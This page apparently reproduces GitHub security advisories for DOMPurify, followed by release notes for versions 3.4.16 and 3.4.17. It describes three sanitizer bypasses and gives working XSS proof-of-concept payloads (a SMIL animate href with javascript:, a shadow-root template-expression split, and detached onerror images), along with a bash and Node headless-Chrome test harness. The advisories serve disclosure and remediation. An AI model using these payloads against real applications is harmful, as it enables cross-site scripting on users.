This is close to the XHTML case-sensitivity hardening in 3.4.14/3.4.15 (Attack Classes & Bypass History §22): a check written for lowercase names that a case-preserved name gets past.

##### Proof of concept

Tested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x.

Config:

{{{js
const cfg = {
  PARSER''MEDIA''TYPE: 'application/xhtml+xml',
  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
{{{

 { PARSER''MEDIA''TYPE: 'application/xhtml+xml', USE''PROFILES: { svg: true }, ADD''TAGS: ['animate'], ADD_ATTR: ['attributeName'] }  behaves the same.

Input:

{{{html
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>
{{{

Steps:

1. Save this as  poc.xhtml  next to  purify.js  (3.4.16) and open it in Chrome. The  .xhtml  extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML.

{{{html
<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>
<script src="purify.js"></script></head><body><div id="sink"></div>
<script>//<![CDATA[
const cfg = {
  PARSER''MEDIA''TYPE: 'application/xhtml+xml',
  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
const dirty = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>';
const clean = DOMPurify.sanitize(dirty, cfg);
console.log(clean);
document.getElementById('sink').innerHTML = clean;
//]]></script></body></html>
{{{

2. The logged output still contains  attributeName="href"  and  values="x;javascript:alert(1)" .
3.  document.getElementById('q').href.animVal  returns  "javascript:alert(1)" .
4. Click "click" and  alert(1)  runs.

As a control, remove  PARSER''MEDIA''TYPE  and change the allowlist entry to  attributename . The output then loses  attributeName ,  href.animVal  is  "" , and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page.

An automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below.




{{{bash

#!/usr/bin/env bash
##### PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode.

#
##### Sanitizes an SVG payload with a PARSER''MEDIA''TYPE:"application/xhtml+xml"

##### config that allow-lists <animate> + attributeName, renders the output into
##### div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse

##### event and reports whether alert() fired. Also runs the same allowlist in
##### text/html mode as a control (DOMPurify strips attributeName there).

#
##### usage:  ./poc.sh [dompurify-version]          (default 3.4.16, fetched via  npm pack )

#####         DOMPURIFY_JS=/path/to/purify.js ./poc.sh
#####         CHROME=/path/to/chrome ./poc.sh

##### needs:  node >= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary.
##### exit:   0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error
set -euo pipefail
VER="${1:-3.4.16}"
WORK="$(mktemp -d)"
trap 'rm -rf "$WORK"' EXIT

if [ -z "${DOMPURIFY_JS:-}" ]; then
  (cd "$WORK" && npm pack "dompurify@$VER" --silent >/dev/null 2>&1 && tar xzf dompurify-*.tgz) || { echo "npm pack dompurify@$VER failed" >&2; exit 2; }
  DOMPURIFY_JS="$WORK/package/dist/purify.js"
fi
if [ -z "${CHROME:-}" ]; then
  for c in "$HOME"/.cache/ms-playwright/chromium''headless''shell-*/chrome-headless-shell-linux64/chrome-headless-shell \
           "$HOME"/.cache/ms-playwright/chromium-*/chrome-linux/chrome \
           "$(command -v google-chrome || true)" "$(command -v chromium || true)" "$(command -v chromium-browser || true)"; do
    [ -n "$c" ] && [ -x "$c" ] && CHROME="$c" && break
  done
fi
[ -n "${CHROME:-}" ] || { echo "no Chrome/Chromium found; set CHROME=" >&2; exit 2; }

cat > "$WORK/poc.html" <<'EOF'
<!doctype html><meta charset="utf-8"><title>poc</title>
<script src="purify.js"></script>
<div id="sink"></div>
<script>//<![CDATA[
const payload = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60">' +
  '<a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/>' +
  '<text x="10" y="40" font-size="30">click</text></a></svg>';
function run(mode) {
  const cfg = {
    ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
    ALLOWED_ATTR: [mode === 'xhtml' ? 'attributeName' : 'attributename', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
  };
  if (mode === 'xhtml') cfg.PARSER''MEDIA''TYPE = 'application/xhtml+xml';
  const clean = DOMPurify.sanitize(payload, cfg);
  document.getElementById('sink').innerHTML = clean;
  return clean;
}
//]]></script>
EOF
cp "$DOMPURIFY_JS" "$WORK/purify.js"

##### Same test inside a real XHTML document (no HTML<->XHTML context flip):
##### the page is parsed as application/xhtml+xml and the sink's innerHTML uses the XML fragment parser.
sed -e 's#<!doctype html><meta charset="utf-8"><title>poc</title>#<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>#' \
    -e 's#<script src="purify.js"></script>#<script src="purify.js"></script></head><body>#' \
    -e 's#^</script>$#</script></body></html>#' "$WORK/poc.html" > "$WORK/poc.xhtml"

cat > "$WORK/drive.js" <<'EOF'
// zero-dependency CDP driver over --remote-debugging-pipe
const { spawn } = require('child_process');
const [chrome, url, dir] = process.argv.slice(2);
const xurl = url.replace(/\.html$/, '.xhtml');
const p = spawn(chrome, ['--headless', '--no-sandbox', '--remote-debugging-pipe', '--disable-gpu', '--no-first-run',
   --user-data-dir=${dir}/profile , 'about:blank'], { stdio: ['ignore', 'ignore', 'ignore', 'pipe', 'pipe'] });
let id = 0, buf = ''; const pend = new Map(), dialogs = [];
p.stdio[4].on('data', (d) => {
  buf += d; let i;
  while ((i = buf.indexOf('\0')) >= 0) {
    const m = JSON.parse(buf.slice(0, i)); buf = buf.slice(i + 1);
    if (m.id && pend.has(m.id)) { pend.get(m.id)(m); pend.delete(m.id); }
    else if (m.method === 'Page.javascriptDialogOpening') {
      dialogs.push(m.params.message);
      send('Page.handleJavaScriptDialog', { accept: true }, m.sessionId);
    }
  }
});
function send(method, params = {}, sessionId) {
  return new Promise((r) => { const n = ++id; pend.set(n, r); p.stdio[3].write(JSON.stringify({ id: n, method, params, sessionId }) + '\0'); });
}
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
(async () => {
  const { result: { targetId } } = await send('Target.createTarget', { url: 'about:blank' });
  const { result: { sessionId: s } } = await send('Target.attachToTarget', { targetId, flatten: true });
  await send('Page.enable', {}, s); await send('Runtime.enable', {}, s);
  const ev = async (e) => (await send('Runtime.evaluate', { expression: e, returnByValue: true, awaitPromise: true }, s)).result.result.value;
  let vulnerable = false, xhtmlDoc = false;
  const ver = async () => ev('DOMPurify.version');
  for (const [mode, page] of [['html', url], ['xhtml', url], ['xhtml', xurl]]) {
    await send('Page.navigate', { url: page }, s); await sleep(500);
    const docType = await ev('document.contentType');
    if (mode === 'html') console.log('DOMPurify', await ver(), '/', await ev('navigator.userAgent.match(/Chrome\\/[\\d.]+/)[0]'));
    dialogs.length = 0;
    const clean = await ev( run(${JSON.stringify(mode)}) );
    await sleep(400); // let the 0.01s animation apply (fill=freeze)
    const href = await ev( (()=>{const a=document.getElementById('q');return a?a.href.animVal:null})() );
    const box = await ev( (()=>{const t=document.querySelector('#sink text');if(!t)return null;const r=t.getBoundingClientRect();return [r.x+r.width/2,r.y+r.height/2]})() );
    if (box) for (const type of ['mouseMoved', 'mousePressed', 'mouseReleased'])
      await send('Input.dispatchMouseEvent', { type, x: box[0], y: box[1], button: 'left', clickCount: 1 }, s);
    await sleep(800);
    console.log( \n[${mode} mode, sink document ${docType}] sanitized output:\n  ${clean} );
    console.log(   animated <a> href (animVal): ${JSON.stringify(href)} );
    console.log(   alert() fired on click: ${dialogs.length ? 'YES ' + JSON.stringify(dialogs) : 'no'} );
    if (mode === 'xhtml' && dialogs.length) vulnerable = true;
    if (mode === 'xhtml' && docType === 'application/xhtml+xml') xhtmlDoc = dialogs.length > 0;
  }
  console.log(vulnerable ?  \nRESULT: VULNERABLE (javascript: executed in XHTML mode; pure-XHTML document sink: ${xhtmlDoc ? 'also executes' : 'no'})  : '\nRESULT: not vulnerable');
  p.kill('SIGKILL'); process.exit(vulnerable ? 0 : 1);
})().catch((e) => { console.error(e); p.kill('SIGKILL'); process.exit(2); });
EOF
node "$WORK/drive.js" "$CHROME" "file://$WORK/poc.html" "$WORK"
{{{



##### Impact

Stored or reflected XSS on a click. It affects apps that sanitize SVG in XHTML mode and allow  animate  (or  set ) with  attributeName , for example to keep simple SVG animations. Script runs in the app's origin when a user clicks the sanitized link. Default configs and text/html mode aren't affected.

=== Severity ===
Low

=== References ===
- [https://github.com/cure53/DOMPurify/security/advisories/GHSA-c6gr-qvv4-5v3f https://github.com/cure53/DOMPurify/security/advisories/GHSA-c6gr-qvv4-5v3f]
- [https://github.com/cure53/DOMPurify/pull/1672 https://github.com/cure53/DOMPurify/pull/1672]
- [https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575 https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575]
- [https://github.com/cure53/DOMPurify https://github.com/cure53/DOMPurify]
- [https://github.com/cure53/DOMPurify/releases/tag/3.4.17 https://github.com/cure53/DOMPurify/releases/tag/3.4.17]

This data is provided by [https://osv.dev/vulnerability/GHSA-c6gr-qvv4-5v3f OSV] and the [https://github.com/github/advisory-database GitHub Advisory Database] ([https://github.com/github/advisory-database/blob/main/LICENSE.md CC-BY 4.0]).


---

== DOMPurify SAFE''FOR''TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output modes ==
[https://github.com/advisories/GHSA-cg2g-xh64-v4q7 GHSA-cg2g-xh64-v4q7]




=== Details ===
##### Summary

When DOMPurify is configured with  SAFE''FOR''TEMPLATES: true  together with a DOM-returning mode ( RETURN''DOM: true ,  RETURN''DOM''FRAGMENT: true , or  IN''PLACE: true ), template expressions such as  {{...}} ,  ${...} , and  <%...%>  survive sanitization inside the text content of an attached shadow root. The post-walk safety net  ''scrubTemplateExpressions  ( src/purify.ts:1717 ) was extended to recurse into  <template>.content , but it never recurses into attached shadow roots. An attacker who can supply a DOM node carrying a shadow root (the  IN''PLACE  and shadow-aware  RETURN_DOM  surfaces) can split an expression across text nodes separated by disallowed elements; after those elements are removed the fragments become adjacent and serialize into a complete expression that a downstream template engine will evaluate.

##### Root Cause

 SAFE''FOR''TEMPLATES  neutralizes template expressions through two mechanisms: a per-text-node strip during the main walk ( ''stripTemplateExpressions , applied in  ''sanitizeElements  at  src/purify.ts:2246 ), and a final post-walk pass ( _scrubTemplateExpressions ,  src/purify.ts:1717 ) that normalizes adjacent text nodes and re-strips expressions that only form after merging. The per-node strip cannot catch an expression that is split into individual fragments, because each fragment fails the delimiter regexes. The post-walk pass is the only mechanism that would catch the merged form, but it is structurally unable to reach shadow root content.

{{{text
_scrubTemplateExpressions (src/purify.ts:1717-1751):
  - node.normalize() at line 1718 does not merge text nodes inside shadow roots (DOM spec).
  - NodeIterator at lines 1723-1731 does not descend into shadow trees (DOM spec).
  - Explicit recursion at lines 1743-1750 enters <template>.content only, via
    querySelectorAll('template'); there is no equivalent recursion into attached
    shadow roots.
Shadow roots are sanitized earlier by _sanitizeShadowDOM (src/purify.ts:2710), which
applies the per-node strip but never performs the post-walk normalize-and-rescrub.
{{{

Shadow root text nodes are therefore sanitized only per-node and never re-examined as a merged unit.

##### Impact

An attacker who controls DOM-node input containing an attached shadow root can inject template expressions that survive sanitization and are later evaluated by the application's template engine. In client-side contexts this yields cross-site scripting; in a server-side template context it can escalate to template injection. Exploitation requires non-default application configuration: the application must enable  SAFE''FOR''TEMPLATES  and a DOM-returning mode, pass a DOM node that already has an attached shadow root, and feed the sanitized shadow root content into a template evaluator. The shadow root does not have to be built programmatically with  attachShadow : in engines that support declarative shadow DOM, attacker-supplied markup containing  <template shadowrootmode="open">  parsed through  setHTMLUnsafe  or  Document.parseHTMLUnsafe  produces the same attached shadow root, so a plain HTML string reaches the gap once the application is configured this way. Demonstrated capability is injection of a complete, attacker-chosen expression into post-sanitization shadow root content; the resulting script execution and any confidentiality or integrity consequence depend on the downstream engine's evaluation context.

##### Proof of Concept

{{{text
Preconditions:
  - DOMPurify built from the affected source (dist/purify.js or an ESM/CJS bundle).
  - A browser (or DOM implementation) with shadow DOM support.
  - Application constructs a DOM node with an attached shadow root before sanitizing,
    and later evaluates the shadow root's text content as a template.
{{{

Build a host element whose shadow root holds a template expression split across text nodes separated by disallowed elements, then sanitize in place with  SAFE''FOR''TEMPLATES :

{{{javascript
const host = document.createElement('div');
const root = host.attachShadow({ mode: 'open' });

// Split "${alert(document.domain)}" so no single fragment matches a regex.
// <object> is not in the default ALLOWED_TAGS and is removed during sanitization,
// leaving the surrounding text-node siblings adjacent.
root.appendChild(document.createTextNode('$'));
root.appendChild(document.createElement('object'));
root.appendChild(document.createTextNode('{alert(document.domain)}'));

DOMPurify.sanitize(host, { IN''PLACE: true, SAFE''FOR_TEMPLATES: true });

// After the disallowed element is removed, the fragments are adjacent and survive.
host.shadowRoot.normalize();
console.log(host.shadowRoot.textContent);
{{{

{{{text
${alert(document.domain)}
{{{

A downstream template evaluator reading  shadowRoot.textContent  (for example  new Function('return  ' + content + ' ')()  or any  ${...} / {{...}}  engine) then evaluates the fully formed expression.

##### Attack Chain

1. '''Exposure:''' The application calls  DOMPurify.sanitize(node, cfg)  ( src/purify.ts:2854 ) with  SAFE''FOR''TEMPLATES: true  and  IN''PLACE: true  (or a shadow-aware  RETURN''DOM ), passing a DOM node that already carries an attached shadow root.
2. '''Control:''' The attacker controls the shadow root's text nodes and the disallowed separator elements between them; each fragment ( $ ,  {alert(document.domain)} ) is a valid, individually benign text node.
3. '''Path:'''  ''sanitizeAttachedShadowRoots  ( src/purify.ts:2977 ) feeds the shadow root into  ''sanitizeShadowDOM  ( src/purify.ts:2710 ), which strips expressions per text node ( src/purify.ts:2246 ) and removes the disallowed separator elements, leaving the fragments adjacent.
4. '''Guard:''' The post-walk safety net  _scrubTemplateExpressions  ( src/purify.ts:3131-3132 ) is the only pass that would catch the merged expression, but it never recurses into shadow roots ( src/purify.ts:1717-1751  recurses into  <template>.content  only).
5. '''Primitive:''' The adjacent fragments serialize as a single concatenated string on  shadowRoot.textContent  /  shadowRoot.innerHTML , reconstituting the complete expression.
6. '''Result:''' A downstream template engine evaluates the attacker-chosen expression, achieving script execution (or template injection) in the engine's context.

##### Bypass Evidence

The relevant protection is  SAFE''FOR''TEMPLATES , specifically the post-walk pass that defends against expressions that only form after adjacent text nodes merge. That defense was previously extended to  <template>.content  under CVE-2026-65900 (GHSA-gvmj-g25r-r7wr) by adding  querySelectorAll('template')  recursion at  src/purify.ts:1743-1750 . The strongest challenge is whether any code path performs the equivalent merge-and-rescrub inside shadow roots. Enumerating every call site of  ''scrubTemplateExpressions  ( src/purify.ts:1717 ,  1747 ,  3132 ,  3141 ) shows none receive a shadow root, and  ''sanitizeShadowDOM  ( src/purify.ts:2710 ) never calls  ''scrubTemplateExpressions  or  normalize() . The per-node strip cannot compensate:  MUSTACHE''EXPR  ( src/regexp.ts:3 ) requires  {{  or  }} ,  TMPLIT''EXPR  ( src/regexp.ts:5 ) requires  ${ , and  ERB''EXPR  ( src/regexp.ts:4 ) requires  <%  or  %> , none of which appear in a single-character fragment. The CVE-2026-65900 regression tests exercise  <template>.content  only; no test covers shadow root content under  SAFE''FOR''TEMPLATES . The gap is therefore an unfixed case on a distinct remediation boundary (shadow roots) rather than a bypass of the delivered template-content fix.

##### Affected Versions

- '''Ecosystem:'''  npm 
- '''Package:'''  dompurify 
- '''Confirmed affected range:'''  >= 3.4.4, <= 3.4.16 
- '''Latest release checked:'''  3.4.16  ([https://www.npmjs.com/package/dompurify/v/3.4.16 npm registry])
- '''Fix status:''' not fixed

The lower bound 3.4.4 is the release that introduced both the attached-shadow-root sanitization pass and the  _scrubTemplateExpressions  safety net; releases 3.4.4 through 3.4.7 carry the safety net with no content-container recursion, and 3.4.8 onward add  <template>.content  recursion but still omit shadow root recursion. No published release and no current development revision contains a shadow-root fix.

##### Suggested Fix

Enforce the same post-walk normalize-and-rescrub invariant on attached shadow roots that already applies to  <template>.content . After  ''sanitizeShadowDOM  finishes walking a shadow root, run  ''scrubTemplateExpressions  over that shadow root so adjacent text nodes created by element removal are merged and re-stripped; alternatively, have  _scrubTemplateExpressions  discover and recurse into attached shadow roots as it does for template content. The fix must cover nested shadow roots and shadow roots inside  <template>.content , and it must handle all three expression dialects, since any disallowed element can serve as the separator that produces adjacent fragments.

---

Reported by zx (GitHub: @manus-pi).

=== Severity ===
- CVSS Score: 9.2 / 10 (Critical)
- Vector String:  CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N 

=== References ===
- [https://github.com/cure53/DOMPurify/security/advisories/GHSA-cg2g-xh64-v4q7 https://github.com/cure53/DOMPurify/security/advisories/GHSA-cg2g-xh64-v4q7]
- [https://github.com/cure53/DOMPurify/pull/1672 https://github.com/cure53/DOMPurify/pull/1672]
- [https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575 https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575]
- [https://github.com/cure53/DOMPurify https://github.com/cure53/DOMPurify]
- [https://github.com/cure53/DOMPurify/releases/tag/3.4.17 https://github.com/cure53/DOMPurify/releases/tag/3.4.17]

This data is provided by [https://osv.dev/vulnerability/GHSA-cg2g-xh64-v4q7 OSV] and the [https://github.com/github/advisory-database GitHub Advisory Database] ([https://github.com/github/advisory-database/blob/main/LICENSE.md CC-BY 4.0]).


---

== DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p) ==
[https://github.com/advisories/GHSA-mrv2-3pqr-j5jr GHSA-mrv2-3pqr-j5jr]




=== Details ===
##### Summary

The 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an  IN_PLACE  hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an  <img onerror>  that was already loading fires after  sanitize()  returns.

The README says: "Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an  <img onload>  that was already loading when you built the live tree cannot fire after  sanitize()  returns." That does not hold when the detached node is not the hook's own node.

##### Tested versions

- 3.4.16 (latest) and main at 18f8f0e
- also 3.4.15, 3.4.12 and 2.5.8

jsdom for the matrix below, and Chromium (Playwright) for the event actually firing.

##### Details

 src/purify.ts  line 2134 ( dist/purify.cjs.js  line 2009 in 3.4.16),  _handleHookDetachedNode() :

{{{js
if (currentNode === root || getParentNode(currentNode) !== null) {
  return false;
}
if (IN_PLACE) {
  _neutralizeSubtree(currentNode);
}
{{{

It only checks whether  currentNode  lost its parent. When a hook removes  currentNode.parentNode  (or any ancestor),  currentNode  still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in  DOMPurify.removed , so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.

##### PoC (jsdom)

{{{js
const { JSDOM } = require('jsdom')
const createDOMPurify = require('dompurify')
const win = new JSDOM('<!doctype html><body></body>').window
const doc = win.document

for (const mode of ['self', 'parent', 'nextSibling']) {
  const DOMPurify = createDOMPurify(win)
  doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' +
    '<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>'
  const root = doc.getElementById('root')
  const evil = doc.getElementById('evil')

  // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)
  DOMPurify.addHook('afterSanitizeAttributes', (node) => {
    if (node.getAttribute && node.getAttribute('class') === 'bad') {
      if (mode === 'self') node.remove()
      if (mode === 'parent') node.parentNode.remove()
      if (mode === 'nextSibling') node.nextElementSibling.remove()
    }
  })

  DOMPurify.sanitize(root, { IN_PLACE: true })
  console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))
}
{{{

Output on 3.4.16:

{{{
3.4.16 self        onerror = null
3.4.16 parent      onerror = "alert(1)"
3.4.16 nextSibling onerror = "alert(1)"
{{{

In  self  mode the walker still reaches the second image and strips  onerror . In the other two modes the second image is detached with its handler still set. The same result is achieved with each of  beforeSanitizeElements ,  uponSanitizeElement ,  afterSanitizeElements ,  beforeSanitizeAttributes  and  afterSanitizeAttributes .

##### PoC (browser)

The same thing in a real page, served from 127.0.0.1 and opened in Chromium:

{{{html
<!doctype html><meta charset=utf-8>
<script src="purify.min.js"></script>
<body><pre id=log></pre>
<script>
window.fired = [];
function run(mode) {
  const D = DOMPurify(window);
  D.addHook('afterSanitizeAttributes', n => {
    if (n.getAttribute && n.getAttribute('class') === 'bad') {
      if (mode === 'parent') n.parentNode.remove();
      if (mode === 'self') n.remove();
    }
  });
  const root = document.createElement('div');
  document.body.appendChild(root);
  root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror="fired.push(\'' + mode + '\')"></figure><p>ok</p>';
  D.sanitize(root, { IN_PLACE: true });
  return root.outerHTML;
}
const a = run('self'), b = run('parent');
setTimeout(() => {
  document.getElementById('log').textContent =
    'version=' + DOMPurify.version + '\nself out=' + a + '\nparent out=' + b + '\nfired=' + JSON.stringify(fired);
}, 1500);
</script>
{{{

Result on 3.4.16:

{{{
version=3.4.16
self out=<div><figure><img src="x"></figure><p>ok</p></div>
parent out=<div><p>ok</p></div>
fired=["parent"]
{{{

The returned tree is clean in both cases, but the handler on the detached image runs in the page for  parent .

##### Impact

An app that uses  IN_PLACE  with a hook that removes a wrapper or a nearby element (for example "drop the whole  <figure>  if its image is not allowed") gets DOM XSS from attacker markup after  sanitize()  returns. It needs that kind of hook, so it falls under "input plus an application choice" in SECURITY.md, but it breaks the guarantee the README gives for hook detached nodes and is the same pattern as GHSA-55q2-fjhq-7xh7 and GHSA-p98j-92pf-mc4p.

##### Suggested fix

Instead of only checking  currentNode , check after each hook call whether anything outside the current node was detached. Two simple options:

- before calling a hook in  IN_PLACE  mode, remember the next node the walker will visit and the current node's ancestors; after the hook, neutralize any of them that are no longer attached under  root 
- or, after the walk, neutralize every element that was in the original tree but is no longer connected to  root  (for example by collecting the elements before the walk)

=== Severity ===
- CVSS Score: 7.6 / 10 (High)
- Vector String:  CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N 

=== References ===
- [https://github.com/cure53/DOMPurify/security/advisories/GHSA-mrv2-3pqr-j5jr https://github.com/cure53/DOMPurify/security/advisories/GHSA-mrv2-3pqr-j5jr]
- [https://github.com/cure53/DOMPurify/pull/1672 https://github.com/cure53/DOMPurify/pull/1672]
- [https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575 https://github.com/cure53/DOMPurify/commit/a77a3e78b59f72fa4d1c83f22e121ad9cc7d3575]
- [https://github.com/cure53/DOMPurify https://github.com/cure53/DOMPurify]
- [https://github.com/cure53/DOMPurify/releases/tag/3.4.17 https://github.com/cure53/DOMPurify/releases/tag/3.4.17]

This data is provided by [https://osv.dev/vulnerability/GHSA-mrv2-3pqr-j5jr OSV] and the [https://github.com/github/advisory-database GitHub Advisory Database] ([https://github.com/github/advisory-database/blob/main/LICENSE.md CC-BY 4.0]).


---

== Release Notes ==




== [https://github.com/cure53/DOMPurify/releases/tag/3.4.17  v3.4.17 ]: DOMPurify 3.4.17 ==

[https://github.com/cure53/DOMPurify/compare/3.4.16...3.4.17 Compare Source]

- Fixed an issue with  IN''PLACE ,  SAFE''FOR_TEMPLATES  and shadow roots, thanks [https://github.com/manus-pi @manus-pi]
- Fixed  IN_PLACE  handling of nodes that hooks or custom elements tough during sanitization, thanks [https://github.com/uttej-badwane @uttej-badwane]
- Fixed the SMIL  attributeName  guard in XHTML mode, thanks [https://github.com/Koukyosyumei @Koukyosyumei]
- Hardened several smaller edge cases (namespaces, literal-text elements,  isValidAttribute() ), thanks [https://github.com/artiphishell @artiphishell]
- Added a purify-edge test runner as a compatibility check, thanks [https://github.com/anzal1 @anzal1]
- Clarified the  IN_PLACE  documentation in the README about possible risks
- Updated several dependencies

== [https://github.com/cure53/DOMPurify/releases/tag/3.4.16  v3.4.16 ]: DOMPurify 3.4.16 ==

[https://github.com/cure53/DOMPurify/compare/3.4.15...3.4.16 Compare Source]

- Fixed a problem with  IN_PLACE  node removal when working with hooks, thanks [https://github.com/manus-pi @manus-pi]
- Fixed a problem with  IN_PLACE  sanitization and raw-text roots, thanks [https://github.com/h-t-m @h-t-m]
- Fixed a problem with ESM default exports landing in CommonJS declarations, thanks [https://github.com/ssi02014 @ssi02014]
- Migrated from  rollup  to  rolldown  because performance, thanks [https://github.com/ssi02014 @ssi02014]
- Bumped several dependencies where possible



---
  • Get Started
  • Github
  • Discord
  • Das Unternehmen hinter TopLogic
  • Softwareentwicklung heute
  • Kontakt

© Copyright – Business Operation Systems GmbH

  • top-logic.com
  • Nutzungsbedingungen
  • Impressum
  • Rechtlicher Hinweis
  • Datenschutz
  • DE
  • Login